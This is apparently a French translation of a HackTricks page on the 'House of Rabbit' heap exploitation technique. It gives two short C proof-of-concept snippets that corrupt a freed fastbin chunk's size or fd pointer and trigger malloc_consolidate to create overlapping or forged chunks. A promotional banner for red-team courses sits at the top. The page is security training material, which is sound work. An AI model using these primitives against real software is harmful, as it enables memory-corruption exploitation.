4.9 KiB
Maison du Lapin
{% hint style="success" %}
Apprenez et pratiquez le piratage AWS :Formation HackTricks AWS Red Team Expert (ARTE)
Apprenez et pratiquez le piratage GCP : Formation HackTricks GCP Red Team Expert (GRTE)
Soutenez HackTricks
- Consultez les plans d'abonnement!
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Exigences
- Capacité à modifier le pointeur fd ou la taille du fastbin : Cela signifie que vous pouvez changer le pointeur avant d'un chunk dans le fastbin ou sa taille.
- Capacité à déclencher
malloc_consolidate
: Cela peut être fait en allouant un gros chunk ou en fusionnant le chunk supérieur, ce qui force le tas à consolider les chunks.
Objectifs
- Créer des chunks superposés : Avoir un chunk qui se superpose à un autre, permettant ainsi d'autres manipulations du tas.
- Forger des faux chunks : Tromper l'allocateur pour qu'il traite un faux chunk comme un chunk légitime lors des opérations sur le tas.
Étapes de l'attaque
POC 1 : Modifier la taille d'un chunk fastbin
Objectif : Créer un chunk superposé en manipulant la taille d'un chunk fastbin.
- Étape 1 : Allouer des chunks
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
- Étape 2 : Libérer les morceaux
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
Nous libérons les deux morceaux, en les ajoutant à la liste fastbin.
- Étape 3: Modifier la taille du morceau
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
- Étape 4 : Déclencher
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Allouer un gros morceau déclenche la fonction malloc_consolidate
, fusionnant les petits morceaux dans le fast bin. La taille manipulée de chunk1
provoque un chevauchement avec chunk2
.
Après la consolidation, chunk1
chevauche chunk2
, permettant une exploitation supplémentaire.
POC 2: Modifier le pointeur fd
Objectif: Créer un faux morceau en manipulant le pointeur fd
du fast bin.
- Étape 1: Allouer des morceaux
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Explication : Nous allouons deux morceaux, un plus petit et un plus grand, pour configurer le tas pour le faux morceau.
- Étape 2 : Créer un faux morceau
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
- Étape 3 : Libérer
chunk1
free(chunk1); // Frees the chunk at 0x602000
Explication: Nous libérons chunk1
, en l'ajoutant à la liste fastbin.
- Étape 4: Modifier
fd
dechunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Explication : Nous changeons le pointeur avant (fd
) de chunk1
pour pointer vers notre faux chunk à l'intérieur de chunk2
.
- Étape 5 : Déclencher
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Allouer à nouveau un gros morceau déclenche malloc_consolidate
, qui traite le faux morceau.
Le faux morceau devient partie de la liste fastbin, en faisant un morceau légitime pour une exploitation ultérieure.
Résumé
La technique de la Maison du Lapin implique soit de modifier la taille d'un morceau de fast bin pour créer des chevauchements de morceaux, soit de manipuler le pointeur fd
pour créer des faux morceaux. Cela permet aux attaquants de forger des morceaux légitimes dans le tas, permettant diverses formes d'exploitation. Comprendre et pratiquer ces étapes améliorera vos compétences en exploitation de tas.